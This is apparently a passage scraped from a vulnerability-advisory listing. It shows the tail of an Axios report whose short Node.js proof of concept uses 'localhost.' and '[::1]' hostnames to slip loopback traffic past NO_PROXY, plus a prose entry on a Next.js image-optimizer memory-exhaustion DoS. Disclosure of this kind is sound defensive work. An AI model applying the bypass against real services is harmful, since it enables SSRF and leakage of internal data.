process.env.NO_PROXY = "localhost,127.0.0.1,::1"; async function test(url) { try { await axios.get(url, { timeout: 2000 }); } catch {} } setTimeout(async () => { console.log("\n[] Testing http://localhost.:8080/"); await test("http://localhost.:8080/"); // goes through proxy console.log("\n[] Testing http://[::1]:8080/"); await test("http://[::1]:8080/"); // goes through proxy }, 500); ` Expected: Requests bypass the proxy (direct to loopback). Actual: Proxy logs requests for localhost. and [::1]. --- Impact Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable. Attackers controlling request URLs can: Force Axios to send local traffic through an attacker-controlled proxy. Bypass SSRF mitigations relying on NO\_PROXY rules. Potentially exfiltrate sensitive responses from internal services via the proxy. --- Affected Versions Confirmed on Axios 1.12.2 (latest at time of testing). affects all versions that rely on Axios’ current NO_PROXY evaluation. --- Remediation Axios should normalize hostnames before evaluating NO_PROXY`, including: Strip trailing dots from hostnames (per RFC 3986). Normalize IPv6 literals by removing brackets for matching.

OWASP A10OWASP WEB
Get guardrail →

Next.js self-hosted applications vulnerable to DoS via Image Optimizer remotePatterns configuration

A DoS vulnerability exists in self-hosted Next.js applications that have remotePatterns configured for the Image Optimizer. The image optimization endpoint (/_next/image) loads external images entirely into memory without enforcing a maximum size limit, allowing an attacker to cause out-of-memory conditions by requesting optimization of arbitrarily large images. This vulnerability requires that remotePatterns is configured to allow image optimization from external domains and that the attacker can serve or control a large image on an allowed domain. Strongly consider upgrading to 15.5.10 and 16.1.5 to reduce risk and prevent availability issues in Next applications.

OWASP A06OWASP LLM10OWASP WEB
Get guardrail →

Showing 120 of 30 threats